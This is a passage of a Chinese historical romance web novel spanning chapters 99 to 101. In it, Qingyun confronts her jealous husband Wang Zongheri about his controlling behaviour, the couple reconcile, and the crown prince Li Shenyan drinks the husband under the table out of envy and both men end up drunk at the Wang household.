清蕴沉思会儿,抬首笑道:“好啊。” 如果可以,她自然不想和三哥走到那一步。他们的婚姻不止是两人之间的事,还包括王家的祖父母、叔父他们。万一分开,她今后很难再和这些亲人正常来往。 众女眷进宫那天,清蕴当然是和王宗赫一起去酒楼用了顿美食,气氛还算和睦。 但接下来,王宗赫对她的干涉逐渐增多。起初是不想让她参加一些宴会或独自进宫,而后则希望她外出办事时归家时辰能早些,说想早点看到她。慢慢的,就开始找各种机会,在她需要出门时陪着她。 他倒没像那些禁锢妻子的丈夫一样,不让她出门,只是安全感显而易见得低。清蕴甚至发现,身边有他派人跟随的迹象。 白芷觉得三公子这样的行为有些过分,难道主子没有自己的自由吗?清蕴没怎么生气,按住了藉香和白芷。 如果这样能让他安心些,她尚能忍受。夜里大汗淋漓时,清蕴抚着王宗赫的脸,如此想道。 随着大雪再次覆盖了整座京城,除夕的气息也愈发浓厚,街道张灯结彩,很是热闹。 王家人每十日会齐聚一堂用饭,算是一家小聚。不然住在同个府邸,全家也不见得能每月见个整面。 王宗赫是府里有名的大忙人,连着好些日子都是在儿子归家时匆匆扫上一眼,这会儿面对面,郑氏少不得嘘寒问暖。 关心他,当然也不会忽略清蕴。上次清蕴敢只身去赈灾为王宗赫解围,郑氏就对她基本没了什么意见,好奇道:“清蕴这阵子似乎都不怎么出门了,是被什么事绊住了?” 她眼里闪着希冀,还猜测是儿媳有孕了小夫妻瞒着长辈。 清蕴笑,“最近天儿太冷,只想待在房里,是惫懒了许多,母亲可别笑话我。” 郑氏“呀”了声,“我记得你十来岁时也没这么畏寒啊,冬天整日待在房里怎么行,得多走动。明儿我要去宁家看望他们新诞的小孙子,和我一起去如何?” “母亲。”王宗赫开口,“清蕴和宁家人素未来往,不认得人,根本说不上话,去了也是无趣。” 郑氏想想也是,“那过几天我打算去青云观看盈盈,给她带些东西,你们姊妹俩关系好,去看看她?” 镇安帝退位后,王令娴作为前朝太妃,当然不可能受封。但看在她和清蕴的关系,镇安帝本想予她自由,放她归家,是王令娴主动要求去青云观清修。清蕴去看过,感觉她还蛮喜欢这样的日子。 这个问题,清蕴自己答了,“我才去看望过大姐姐,这次就不打扰母亲和她相聚了。” 郑氏点头,捧盏喝了口茶,忽然又想到一事,“对了,宫中太后那儿定了些太子妃人选,召我们进宫,许是想更了解这些姑娘,也可能让人帮忙参考,你要不要……” “母亲——”这回,她被王宗赫强硬地打断了。 他脸色十分不好,语气也硬邦邦的,“您管好自己的事就行了。” 话语一出,桌旁刚用了饭,正在各自聊天的王家人都怔了怔,继而震惊。 这竟是老成守礼的三郎会说的话? 要知道,即便母子俩曾因清蕴的事闹过不快,他可从来没当着这些人的面给自己母亲难堪。 “三郎。”王维章第一个出声,“给你母亲赔礼道歉!” 王贞若有所思地观察着孙儿,秦夫人则似有所感,看向了清蕴。 清蕴也不赞同道:“三哥,你失礼了。” 王宗赫亦意识到自己的冲动,心中愧疚,起身对还在发愣的郑氏俯首,“母亲,儿子有错。” 直面他脾气的郑氏反而是最没怒意的,迟疑了会儿,“三郎是不是最近太忙、太累了?” 她自责道:“是我不好,本来你就早出晚归,难得有时间和清蕴相处。眼下快休沐了,该多让你们夫妻俩一起才是。” 这是郑氏作为母亲的下意识反应,她如今已经越来越脱离曾经强势执拗的影子,却让王宗赫更内疚,“与那些无关,是我无礼了。” 顿了顿,“稍后我会自行去祖父书房领罚。” 王家管教儿女的传统如此,一旦犯错,对男儿来说,及冠前的惩罚是抄书,及冠后则是实打实的五鞭。 王维章点点头,对儿子迅速认错的行为还算满意。郑氏有些心疼,也不好出声劝阻。 小聚结束,王宗赫同父亲、祖父去书房,清蕴则留下陪郑氏、秦夫人说话。 她知道,两位长辈定也因王宗赫的异常,有好些话要问。 这场谈话持续了小半个时辰,隐去不该说的,清蕴尽量把原因归于王宗赫在官场上的不顺。 虽然他没倾诉过,但清蕴结合多方得知的消息,当然清楚他的处境。 只是他能自己处理好,她才没过多追问。 走回春诵堂的路上,清蕴视线扫过王家的一花一木,都是她极为熟悉的。除去在国公府的四年,她在这儿生活了十一年。 如无意外,本也该温馨、和睦地过完这个冬天。 进入内室后,清蕴解开外袍,随手拿了本书在灯下翻看,边等待王宗赫。 没多久,帘子被掀开,冷意随着王宗赫的归来袭入,让清蕴打了个寒颤。 王宗赫迅速带上帘子,“怎么不先洗漱?” 他注意到清蕴连钗环都没卸。 “时辰还早,不急。”清蕴合上书,“伤得重吗?” “父亲留手了,不算重,顶多留几条红印,几天就会自动消。” 清蕴放下心来,“三哥今天在桌前,怎么突然对母亲发脾气?” 王宗赫哑然,似乎不知该怎么答,还是清蕴主动道:“是太累了吗?” 不待王宗赫接话,她极快笑了下。“整日这样和我相处,既不想让我独自出门,又不希望惹我不快,三哥很累吧。” 自然没有。王宗赫立刻想否定,清蕴接下来的话,却已经说出了口。 “要不,我们和离吧。”她轻声道,“三哥。” 第99章 我不同意 王宗赫说谎了, 父亲不仅没有留情,反而鞭打得尤其重。不仅因他对母亲失礼,更是对他控制不了情绪的失望,借此给他警醒。 回春诵堂的路上, 鞭伤加上刺骨寒风, 王宗赫头脑越发清醒, 这些日子以来一直沉浸在某种状态的自怨自艾、焦躁、失落都随之散去不少。 他恍然惊觉, 自己这段时间做下了很多错事,完全不是他该有的作风。 好在父亲打醒了他, 为时未晚。 推开门的刹那,王宗赫心情颇为轻松。长篇大论表露心迹于他而言没有必要,本来准备在行动上慢慢改变,没想到转眼就听到这句话。 “猗猗。”他脑袋嗡得一下,语气中仿佛不可置信, “你在说什么?” 清蕴:“我觉得三哥太累了。” 王宗赫视线紧逼着她, “如果是因我这段时日的状态,那我……” 话到一半,被清蕴截住, “不仅是因这些,更早的时候就有了。” 王宗赫愕然:“……什么?” “三哥,你自小就沉稳,常常谋定后动、先事虑事, 我很佩服这点。”清蕴目光是柔和的, 并不像她最初那句话那样冰冷。 正是这样尤带温情的眼神, 让王宗赫止住了所有冲动, 认真耐心听清蕴的话。 “但你过于习惯独自谋划所有事,夫妻之间也是如此。所以……我常常不知道你在想什么, 也不清楚你要做什么,许多和你有关的事,作为妻子,我却要从别人口中得知。”清蕴的语气中,带着丝丝失落。 王宗赫立刻想到了许多,官场、人情往来、身体,遇事时他确实习惯自己处理,因他有这个能力,也不想让身边人徒生担忧。 原来这样,也会让清蕴不安吗? “三哥还记得你上次染了风寒吗?” 王宗赫嗯了声。 清蕴道:“你对我说公务太多,搬去书房睡了三天,实则是为了养病。事后家里人知晓,还道我对你太狠心,连你病了都要赶去书房。” 王宗赫没想到还有这出,“是我不对,我该明说。” “夫妻一体,本该同甘共苦。”清蕴自嘲似的笑了下,“有时候我都不知,三哥到底是太关心我,不想让我担忧。还是认为,我无法和你共同分享烦忧,觉得我本性凉薄,一旦遇见难事,就会想离开你。” “当然不是,我……”能言善辩的王宗赫竟有了卡壳,不知如何解释。 他意识到了自己过于独断带来的后果,这何尝不是一种自负。 “赈灾的事,你清楚这对我亦有好处,才会开口让我去做。所以在三哥心中,我是个无利不起早之人。” 王宗赫:“没有,我从未这么想过。” 他话说得坚定,可清蕴的眼神是不敢相信,这种情绪刺痛了王宗赫,握住她温热的手,幸而没有被甩开,“我只是……” 他轻声道:“你嫁给我,本就是迫于无奈。我不想、也不敢让那些事打扰你,猗猗……但我可以指天发誓,绝无视你薄情的想法。” “那太子李审言的事呢?” 终究绕不过这个名讳,王宗赫掌心骤然发紧。 “你这些时日的反常,桩桩件件都系在他身上。”清蕴眼睫低垂,在烛光下投出细碎的影,“当初南下赈灾,我与他一同归京,你非但没生半点猜忌,反而主动宽慰。这份体谅,我始终感念于心。" 她抬眸时,眼底泛起薄雾似的哀愁,“可如今……三哥本该是经世安民的栋梁之材,从容有度,怎么可能像如今这样,进退失据?我总想顺着你些,也许能让你安心。可如果这样的纵容反而成了你的心魔,倒不如……” 尾音残留几息,清蕴攥紧袖口,“倒不如各生欢喜。” 说完这些话,清蕴目中已经盈了一眶清泪,见者生怜,何况爱她成痴的王宗赫。 他想抬手帮她拭泪,却被清蕴偏首躲过。当她侧过脸的时候,王宗赫清晰看到两行泪水滑落,滴在衣襟,也砸在他心底。 他忍不住轻轻扶回她的脸,低声道:“是我的错,我忧思太多,又不肯直接问你,叫你胡思乱想了这么多。” 抵住清蕴的额,他轻柔又不容抗拒地帮她拂去泪水,“但你说的和离一事,绝不可能,我不会同意。” 清蕴:“……那你之前,想问什么?” 清蕴眼波微动,又是一串泪砸在王宗赫手背。这是少有的模样,和她平时沉静如海的性情又何尝不是大有不同。如果不是伤心到了极点,怎么可能失态成这样。 王宗赫只觉得自己错得离谱,他怎么会那样想清蕴。 喉结微微滚动,他道:“我之前以为,你对李审言,总有些特殊。” 清蕴微微睁大眼,似乎很惊讶。 真正说出口,王宗赫没了那股别扭,总算能把心事缓缓道来,“你们相处的时日不短,李审言亦待你真心,且他远比我要热烈、直白、有趣。我怕你嫌我沉闷,只把我当兄长,或者,认为我现在不如他有担当。教坊司之事,他的所作所为,应该让你很满意。” 清蕴:“教坊司一事,他确实做得很好,但他身份如此,可以毫无顾忌,不用提防同僚使绊,也不必考虑君心莫测。三哥有太多掣肘,身份上,你既是前朝臣子,又曾为柳阁老学生,由你出面,陛下只会怀疑你想帮柳家开脱。当初我是想,等风声过去,再看看能否帮到她们。我亦无能为力,又怎么会苛责三哥?” 听出她的意思,王宗赫心头压了许久的巨石忽然变轻许多,“那件事,并非你授意太子?” 清蕴:“……连陛下都管不了他,我何德何能,能让堂堂太子俯首帖耳,为我办事?” 王宗赫心道李审言未必不愿当你座下犬,但已经信了清蕴的话,“当初我以为,你见我无法帮忙,就转而去找了他,所以……” 清蕴被他这话说得有些想笑,还有点生气,“我和三哥才是夫妻,有事怎会去找外人帮忙?退一步,柳家女眷和我无亲无故,我也没必要为她们欠下人情。” “夫妻”“外人”的字眼已经让王宗赫身体舒畅,再加上后面一句解释,他即刻豁然开朗,“怪我,是我一叶障目了。” 他最初就是因这件事结下了心结,继而总觉得清蕴对李审言更信赖。慢慢的,只要知道二人走在一块,就忍不住想象他们在一起时会谈论什么,清蕴会多么开怀。 “三哥还总认为,我只把你当兄长?” 面对清蕴明显不悦的眼神,王宗赫不想这时说谎骗她,只能点头。 随即听到清蕴笑一声,“既然如此,从今夜起,我们不止要分被睡,更该分榻、分房,直到和离那天。毕竟你是兄长,不能乱()伦。” 这笑很难说到底有几重意思,王宗赫眼皮一跳,直觉抱住了人。清蕴要起身离开,他用上力气把人强压在了腿上,动作间被清蕴指甲无意间划过脸颊,刺得脸上一阵疼也顾不上。 “是我错了,不该胡思乱想。”他认为这时候最主要的就是认错。 清蕴忽指尖抚过王宗赫脸上被划出的血痕,“三哥何错之有?当年在翰林院能压得所有人俯首的王阁老,想必早把我与太子的暗度陈仓算得分明,连我送过几封私信、发间别着几支东宫赏的步摇都了如指掌。” 她道:“今晚就把那樽云母屏风挪来隔断,往后三哥批折子,我读《女诫》——横竖兄长教导妹妹,最是合情合理。” “至于东宫那位……三哥宽仁,容得下我们这对奸夫□□同处屋檐,我应该焚香供起你这尊活菩萨。” 王宗赫:“……”原来清蕴生气时,也会胡搅蛮缠。 可他不仅不心烦,反而觉得她可爱又生动,连怒气勃勃的模样都诉说着对自己的情谊。 可笑他自怨自艾了那么久,竟不敢直接问她心意。早点问了,两人之间也能少许多误会。 他的力气钳制住清蕴绰绰有余,她却不会任人摆布,低头狠咬了口横在胸口的手臂,高声道:“白芷!” 王宗赫紧接对外喊,“不必进来!” 白芷哪会听他的,第一时间进了内室,撞见这场景愣了一愣,“主……子?” 这是哪一出? 白芷脚步顿在那儿,进退维谷。 清蕴:“阁老大人要动粗,帮我拉开他。” 王宗赫苦笑一声,露出带着伤痕的脸颊,让白芷迟疑不已。 她有眼睛,大致能判断出谁占上风。其次,即便她不通男女之情,也知道夫妻之间有种相处方式为打情骂俏。 如果主子真的生气,其实不会表露得这么明显…… 脑海中思绪激烈争斗了会儿,白芷确定主子没危险,最终决定默默退出内室。 王宗赫松了口气,如果白芷真来帮忙,即便他能拦住主仆俩,总不能真对清蕴最信任的女使动粗。 “猗猗怎么罚我,我都认,唯独一点,不能再说这些气话。”大冬天的,王宗赫额头出了层薄汗,有百般口才都施展不出来,“那些话和最近那些荒唐行为,你就当……当我神智错乱,昏了头。” 清蕴不说话。 王宗赫帮她把微乱的发丝捋到一边,低头在那额头吻了下。 清蕴有了动作,却是抿唇取出手帕,把额头擦了擦。 王宗赫觉得好笑,也直接笑出了声,随后不顾清蕴的皱眉,把她的眉心、眼皮、脸颊、唇畔和手背都亲了个遍,“我保证今后但凡有事,一定及时告诉你,不让你做最后的知情人。即便太子亲口告诉我你们之间的事,也一定会亲口向你求证,不再随意猜想。” 压低声音,“原谅我好吗猗猗,嗯?” 第100章 嫉妒得发狂 “爷, 您的脸……”去官署路上,疏影示意王宗赫侧脸有伤痕,奇怪问,“这是怎么了?” 放在平常, 王宗赫只会随口答一句“不小心刮的”, 这会儿心境不同, 想看看疏影反应, 故而不经意道:“起了争执,被人抓的。” 谁能和他起争执, 并在脸上划一道印子?疏影纳罕,想到自己和媳妇争吵的情景,立刻一僵,先是不可置信,随后怀疑, 最后坚决予以否认, “爷别逗我。” 夫人那样温柔和善,怎么会动粗,还是对爷动粗, 不可能。 疏影一脸“您骗人”的神情,看得王宗赫淡笑,“昨夜整理书架时,不小心被落下的书划了下。” 疏影松了口气, “果然如此, 爷该拿脂粉遮遮, 不然人人都要好奇了。要不用这款, 我用着一直挺方便。” 说到这儿,他意识到什么, 耳根迅速变红,装作若无其事地取出小盒。 王宗赫没想到,疏影看着人高马大,夫妻之间原来是经常被打的那个。 清蕴即使气到那个地步,也只是在他脸上轻轻划了一道,用话语噎人。 相较起来,清蕴确实如疏影所想,体贴温柔。 想到昨夜发生的种种以及自己亲手写的“保证书”,王宗赫的笑意又从眼角眉梢流露出。猗猗发怒都很独特,还能记得口头约定不可靠,必须要白纸黑字写明。 那薄薄一张纸,既无公章也无手印,其实什么效力都没有。但如果能让清蕴原谅他,写一百张也心甘情愿。 他道:“小伤而已,不必在意。” 疏影不再劝,迅速收回脂粉盒。爷和自己身份不同,威严又重,想来没那么多人敢盯着他打量。 马车慢悠悠到了官署。 临近年节,这儿很是热闹,既有忙着把手头活儿做完的,也有来领年底俸禄的,王宗赫是前者。 镇安帝流露的意思已经很明显,等到来年宣旨,王宗赫就会正式入阁,现在已经有很多人私下称他阁老。 年龄尚未至而立的阁老,在一众官员中着实打眼。和疏影所想不同的是,同僚和下属们不仅心底好奇王宗赫脸上的伤,还光明正大地借着打招呼的由头盯了又盯。 不怪他们多想,这伤痕也太像指甲划出来的了。 难道说,这位年轻阁老也会被夫人嫌弃,还是那位有名的文襄夫人? 看他不顺眼者幸灾乐祸,关系稍近的人默默同情。不管旁人眼光如何,王宗赫八风不动,镇定自若。 快到午饭的时辰,许多人准备归家,在这当口,东宫侍卫来传话,“太子殿下感念诸位大人辛苦,特命御膳房做了些饭菜送来,稍后和大人们共享。” 太子要来,大部分人脚步就迟缓了。他们并不是经常有时间和这位储君见面,若能近身说两句话,了解其性情喜好也不错。 冬阳明晃晃悬在当空,从交错檐角间漏下缕缕金芒,恰好为廊下铺了层柔光暖帐。东宫侍从把膳案沿朱栏次第摆开,远远望去倒像正经设宴的阵仗。 各类珍馐美馔从御膳房运来,被装在足以保温的食盒中,保证太子和各位大人品尝到的都是热食。除此之外,还备了各式美酒。 好酒的官员看着眼馋,谨慎者问:“当值期间,似乎不宜饮酒。” 东宫侍从笑道:“殿下已经提前向陛下请示了,年关将至,大人们辛苦,今日当纵情享用佳酿。若是醉了,有殿下安排地方歇息,或是送各位归家。” 众人放下心来。 午时三刻,太子李审言仅携一名亲卫而来。他闲庭漫步般,脸上含笑,见了熟悉的官员颔首打招呼,不熟的也能停下来说两句,极其可亲,和传闻中肆意妄为、蛮横无理的形象截然不同。 以他的地位,当然位于主桌,同桌皆为朝中重臣,王宗赫自然在列。 李审言不喜欢说太多场面话,勉励了两句就直接开膳。 他此来,一是因孟嘉建议,和官员们不必深交,但偶尔也要混个脸熟。二则是有意来看看王宗赫的状态。 据他所知,这两个月清蕴都没怎么出门。这不是她的作风,加上王宗赫状态低迷,在办差中鲜见地出了几次差错。种种情况相加,让李审言笃定,这对夫妻之间出了问题。 喝了一圈酒,李审言不经意问:“王大人脸上这是怎么了?” 很难说这问话蕴含的意味,如果在昨日,以王宗赫消沉的心态,不知会如何受刺激,尤其是两人对彼此的想法都很了解。 不过经过了昨晚,王宗赫很稳得住,淡然道:“劳殿下关心,一些私事所致,不便为外人所知。” 此话一出,场上都已经成家的官员哪个不明白,纷纷露出男人间心知肚明的目光。 原来不是“争执”,而是“夫妻争执”。 看来王大人私底下和夫人也很恩爱嘛,并不像表面那样一本正经、不苟言笑。 李审言脸上的笑端不住了,握住酒盏的手收紧,仔细审视王宗赫的神情,试图从中找出强颜欢笑的痕迹。 然而没有,那眉眼间的春风得意,仿佛昨夜又做了新郎。 如果这是王宗赫故意做出的伪装,那他养气功夫未免过于深厚。 李审言心念微转,开始频频向王宗赫敬酒,一会儿赞他“年轻有为”,一会儿夸他“能力出众”,以各式理由,在这种膳桌上硬生生添了六壶酒。 王宗赫呢,也不想让,只要太子举杯,他就回敬,压根没有认输的想法。 同桌官员起初看个乐呵,觉得太子可能像陛下一样,看重王宗赫。慢慢的,竟从两人的拼酒中瞧出了火星子。 怎么,这两人竟有什么深仇大恨吗? 唯独跟随二人许久的阿宽、疏影大致猜到了内情,俱是努力维持严肃脸色,生怕泄露心事。 混迹官场,饮酒一事必不可少。王宗赫酒量不差,可远没到千杯不醉的地步,对比时常和武将拼酒、武力高强的李审言,难免相形见绌。 酒壶再精致,七壶都不是小数量。王宗赫醉得走不了路,李审言也半眯起眼,觉得面前景色在打转,眩晕不止。 疏影上前一步,“殿下,请允许小人带大人归家。” 李审言摆手,“无事,我把人喝醉了,自然由我来送。” 说罢,起身把王宗赫架起来,亲自搀扶着人。 这架势,又不像有仇了。 朝宫里备的马车走去,刚离开百官视线,李审言就把人往疏影那边一推,自己勉强站直身体,“扶好你主子。” 疏影:“……”早让他来扶不就好了。 面前是太子,没法讲道理。疏影老老实实地把人扶上东宫马车,为防太子途中暗害主子,硬着头皮一同挤了上去。 李审言瞥他一眼,没说什么,继续闭目养神。 从官署到王家,乘马车约莫两刻钟。在这期间,王宗赫已经彻底闭上眼睡过去,李审言则感觉脑袋越发沉,不似他设想的那样清醒一些。 大概是喝得太急的缘故,两人都没怎么吃东西,纯拼酒去了。 饶是状态如此不佳,在马车抵达王家的一瞬间,李审言还是从疏影手中接过人,亲自“扶”王宗赫进门。 疏影:“……” 这是太子。他告诉自己,继续默默在旁边看顾着,以免这位“不小心”就把人摔了。 门房瞧这阵仗,早就一溜烟去告知太子爷驾临的消息。 不多时,王家众人迎出来,见到太子臂弯中大醉的王宗赫,俱是愕然。 王维章一步上前,沉声道:“殿下,犬子失礼了,让臣来吧。” 他今日正好没去官署,不然就能亲眼瞧瞧儿子是怎么被灌醉的。不过也幸好他没去,否则李审言都没有送人的理由。 “不必。”李审言随意道,“送佛送到西,是我兴致一起,让克衡多喝了点酒,也该如此。” 他问:“他住在何处?” 眼见太子执意如此,秦夫人使了个眼色,清蕴领会道:“殿下,我来带路。” 眼见她温温柔柔、宁静有礼的模样,李审言扯了下嘴角,颔首。 太子明言送人,王家众人不好乌泱泱跟过去,只能任那三人走过去,心底还是放心的,毕竟清蕴和太子熟识,应该不会被这位喜怒无常的爷随意发作。 往春诵堂走,寻常路是从游廊过去,那儿一路都容易碰到下人,清蕴见这两人都醉得不轻,还是少见人为好,于是选择走甬路。 同时吩咐:“藉香,去接大人,别让殿下受累。” 李审言:“不用,我还扶得动。” 他自己都没意识到,说话已经慢了半拍。 清蕴:“殿□□恤臣属本是美意,只是这搀扶之事,怎好劳动您亲力亲为。您贵体尊贵,又饮了酒,若有闪失,便是臣妇及外子的罪过了。” 说得头头是道,不照做的话,就是他不分好歹了。 李审言喉间溢出一声笑,刚应下,转眼王宗赫听到熟悉的声音,挣开藉香直接抱住清蕴,似乎很安心地从上方拥住她,下颌抵在她发顶,摩挲她细白的手腕,低叹一声,“猗猗……” 黏得极紧的模样,仿佛两人已经融为一体。 清蕴脸色微红,她平时冷静,可总不习惯在别人面前做这些亲昵举动,何况面前还有个“外人”。 不待她反应,李审言脸唰得黑了下来,伸手把王宗赫“扯”了下来,咬牙切齿,“还是孤送他吧。” “孤”都用上了。 说完,不顾自己摇摇晃晃的步伐,硬是紧紧铐住王宗赫的手,把人带回了春诵堂内室,往床榻上一丢,发出“砰”的一声响。 清蕴仔细看了下,好在没磕到脑袋。 李审言眯眼看着,肚子里酸水直冒。 她和李秉真的住处他曾经看过,压根没什么东西,既无花草,也无过多装饰,除了书还是书。这儿外面却花草葳蕤,内室布置了许多类似榻前铃铛、八角灯之类的小玩意,让人几乎能想象出,夫妻二人是如何一步步填充的这个小天地。 越想,心底越嫉妒得发狂,李审言恨不得把这个碍眼的地方给砸了,再把那个人丢去流放挖矿。最好挖得面黑肌瘦,再也没有那好相貌来蛊惑陆清蕴。 他不可能料错,之前夫妻二人之间一定出现了大问题。只可能是王宗赫耍心机,哄回了她。 头痛欲裂,又晕、又疼、又怒,李审言摇晃两下,险些没站稳。 装醉还是真醉,有时候外人不一定能分清。清蕴试探性伸手去扶,面前人快速躲开,嘴上不服输,“我没醉——” 嘴硬的模样,看来是真醉。清蕴想。 殊不知李审言躲开的瞬间就后悔了,身体过于敏捷就是不好。如果他顺势被扶住,是不是也能像王宗赫那样抱住她? 机会已经错过,李审言只听到耳边的她在问:“殿下醉得厉害,是派人送您回宫,还是先在王家小歇?” 晕眩间,李审言只来得及说出“留在这儿”的话,就往旁边一倒,失去了意识。 100-110 第101章 两个醉鬼 太子亲自送王宗赫归家, 醉倒春诵堂,要求在此歇息,于情于理都不可能强硬送他回宫。 幸而清蕴认得阿宽,还和他很熟, 招手把人叫来, “把太子带去客房, 跟着藉香走。” 阿宽欸一声, 在战场练出肌肉的身板扶起自家主子轻轻松松,想和曾经的熟人藉香搭话, 又不知说什么,干巴巴打招呼,“最近可还好?” “还好。” 阿宽干笑,眼珠子转了圈,“王大人和陆夫人也还好?” 藉香下颌紧绷, “更好。” 说完大步向前, 急着把这对主仆带到目的地。他可没忘记当初在湖上李审言强行带走主子的场景,纵然这人如今贵为太子,藉香也没有半丝敬畏。 客房一到, 见管家周到地安排了女使伺候,藉香不再多做停留,任阿宽欲作挽留的手停滞半空。 “唉——”遣退女使,阿宽帮自家太子爷解衣脱靴, 边嘀咕, “您说您, 人家夫妻俩好好的, 非得起那心思干嘛,这不是自找罪受。” 他都不敢对阿香有任何留恋, 嘿!太子爷真嚣张,惦记曾经的大嫂、如今的阁老夫人。 压低的声音像苍蝇嗡嗡,被昏睡中的人不耐烦一打,顿时安静下来。 这厢安顿好,另一头,清蕴在两个女使帮助下,亲自给王宗赫擦拭身体,才把人重新放上榻,累出浑身汗。 幽幽瞥一眼他,如果不是昨晚说开了,还以为这人在借酒消愁。 大醉的人还记得她的气息,黏人得很,凑过去亲她脸颊,浑身的酒气让清蕴很抗拒,抬手挡住。 取来醒酒药的白芷一看,飞快笑了下。主子这神态,好像那些被强行亲近时不情不愿的猫儿。 “现在要喂吗?”她上前帮清蕴挣出来。 清蕴摇头,“放边上吧,等他清醒着自己会吃,这会儿强喂容易噎着。” 杲杲冬日,这边却有两个醉鬼在呼呼大睡。清蕴懒得追究他们怎么聚会、如何拼酒,反正不感兴趣。 感觉自己也被染了酒气,清蕴换了身常服,再把长发洗了遍,坐在院子里懒洋洋地晒发。 把摇椅摆在树下,清蕴摇着摇着就睡了过去。醒来的时候,光影迁移,大片阳光照在脸上,极为刺眼。 抬手遮挡双目,清蕴唤人,不一会儿茯苓走来,说白芷去前院了。 “大人怎么样了?” 茯苓回:“还没醒呢,才过去大半个时辰。大人醉得厉害,最早也要到傍晚。” 想想也是,清蕴进去看了眼,见王宗赫迷迷糊糊在呓语,便把人扶起来喝两口糖水,再继续任他睡去,顺便叮嘱客房那边照看好太子。 估计这两位是赶不上晚饭了,清蕴索性没让厨房送到,去主院陪祖父母吃了顿饭,自个儿在府里闲逛两圈,看会子书。才得到消息,王宗赫醒了,正在找她。 把书倒扣,清蕴步入内室,刚走到榻边,就被抱了个结实,腰身那儿埋来一个脑袋。 “猗猗。”王宗赫声音带着酒后的暗哑,“好想你。” 清蕴低头看去,平时稳重的人像个黏人的小孩,隔着衣衫蹭了两下,丝丝痒意让她忍不住笑起来。 “三哥?”她试探性唤他。 王宗赫嗯了声,把她往下拉,就要凑过来亲人,被清蕴敏捷躲开,面露嫌弃,“有点臭。” 饶是酒再香再珍贵,喝醉的人不去洗漱,气息总不会多清爽。 王宗赫浑身微震,下意识嗅自己衣襟,沉声肯定,“不臭。” 清蕴否定,“很臭。” 王宗赫坚持,“猗猗亲一口就知,绝不会。” 清蕴:“……”和一个醉鬼有什么好计较。 她抬手轻弹了下王宗赫额头,“先去沐浴吧,待会儿再吃碗面。” 反应半晌,王宗赫想明白话中的意思,提出要求,“一起。” 嗯,言简意赅的同时,不忘去哪儿都带上她。 清蕴想了想,反正是人坐在浴桶里泡着,陪陪而已,又不费功夫,便应下来。 大概是因下午醒来吐过一次,这会儿王宗赫除却神智不清,身体基本能自己行走。当他坐进浴桶中,眉眼被水汽晕湿得愈发浓黑时,那沉沉的目光几乎让清蕴以为已经彻底清醒。 舀起温水缓缓浇在他发顶,看着男人低垂的眉眼被水雾浸润得愈发深邃,水流一路向下,流淌过高耸鼻梁、淡色薄唇及结实的胸膛。清蕴不得不承认,这样的三哥,担得起一句男□□人。 这无关皮相,而是他浸在水中仍保持的端方姿态——脊背笔直如松,连脖颈扬起的弧度都带着骨子里的克制,令人很想打破那种冷静,看他流露出不同神色。 面前是自己的夫君,是她可以光明正大享有的人。因此,在王宗赫再次凑过来时,清蕴没有回避,顺从心意和他交流了个湿漉漉的吻,感受他的热情和粗重的喘息。 水即将漫过桶沿,单人沐浴也将发展成一场鸳鸯浴,屋外忽然传来人声,似乎是女使在阻拦谁,随后白芷叩门,禀报说太子醒了,来找王宗赫。 清蕴:“……”差点忘了这人还在。 尽量无视王宗赫在水里也很明显的变化,清蕴收拢衣襟,察觉衣衫半湿,轻声道:“三哥自己洗吧,我去换身衣裳。” 直勾勾盯着她,王宗赫显然没有真正恢复神智,只记得不能勉强她,缓缓点头。 快速更衣,清蕴听着外面的拍门声无言。李审言这急切的模样,好像她和王宗赫在里面做什么见不得人的事,又或者是在发酒疯? 命白芷开门,听觉敏锐的李审言已经适时停下,往旁边懒散地倚着门框,“怎么这么久?嫂嫂平时没这么早睡吧。” 他好像并没有意识到这是清蕴和王宗赫的寝居处,记忆错乱到了当初清蕴在守孝的三年。 清蕴淡淡瞥他,“我在等夫君沐浴。” 李审言皱眉,“人不是早死了么?” 还是他帮忙埋的。 此话一出,周围几个下人都皱起眉头,恨不得按头让这位太子呸呸几声,把不吉利的话吐掉。 清蕴:“……醒酒药给太子送了么?” 茯苓忙回:“送了,可能殿下没吃,这儿还有,奴婢再去拿一瓶。” 等她来回,拿到药时,王宗赫已经沐浴好。他穿着内室行走的舒坦棉衫走出,瞧见门边的清蕴,就过去顺势搭上了她肩,而后抬首,和李审言对上目光。 两个男人对视,眉头同时一皱,部分记忆回笼,想起了对彼此的敌视以及敌视的原因。 药瓶呈在眼前,李审言冷笑一声,“不必了,我还没醉到那个地步,倒是到晚饭的时辰了,王家不至于连顿饭都不招待吧?” 清蕴出声,“自然没问题,请……” “先摆上,我要去沐浴。”李审言打断她,一副把这儿当自己家的架势。 然而普天之下莫非王土,某种意义上。这里还真能算他的家,谁能拒绝这个要求? 厨房的面临时添了分量,除此之外,因不了解太子口味,摆上了各式浇头。 厨房考虑得极尽周到,李审言沐浴归来,看到两大碗汤面和各式浇头时,眼神仍极尽幽怨,“文襄夫人难道不知,我只喜吃干拌面?” 清蕴当然清楚,凡是身边上过心的人,一应喜好她大都会记住。但昨夜夫妻俩才刚说开和好,她总不能当着三哥的面仔细交待李审言口味,于是道:“还真不知,那就让厨房重新上吧。” 李审言憋着一股气,等待重新上面。 王宗赫呢,此刻脑袋不如平时灵光,不妨碍他牢记面前这人是“情敌”,视线懒得搭过去,一心一意和清蕴低声交谈,不时做些捋发、搭肩、握手的小动作,十分生动地展示了夫妻情深。 李审言看着,硬是在喝茶时硬生生握碎了茶盏,惊得周围人目露惊恐。 太子还真是像传闻中那样,天生怪力啊。 清蕴见怪不怪,天生巨力的人她见过两个,一个李审言,一个比他更有天赋的陈危。 当初陈危还未及冠,身体不如李审言高大,经验也不够丰富,单打独斗会落败。到现在,两人光比武功,不一定谁更厉害。 想到这儿,她觉得还是陈危省心许多,因为面前两个人,一个太有主意,一个喜怒不定,应付起来,尤其是这种时候应付起来,很累。 “猗猗只喝一碗汤吗?”开始用晚饭,王宗赫不忘关心妻子。 清蕴:“我已经和祖母她们用过了,不必担心,添这汤也是为了陪你们。” 说完,慢条斯理喝起汤来。 她的脸小,五官却很突出,既有叫人一眼惊艳的秾丽,也有百看不厌的精致。这种美在脂粉未施时,展现得更为明显。 她没有察觉到,桌边两个醉鬼吃着吃着,余光都不由自主地在她身上流连。 贪恋这份美,更贪恋此刻宁静美好的氛围。当她慢悠悠喝了口汤,再翻过一页书漫不经心看着时,王宗赫想提醒,用饭要专心,不然容易呛着、噎着。李审言则是想问,书有那么好看么,比他还好看? 但俩人都没出声,对他们来说十来口就能吃掉的面,硬是慢吞吞嗦了许久。 半晌,清蕴从闲书中回神,讶异道:“还没吃好?” 王宗赫放下碗筷,“我已饱了。” 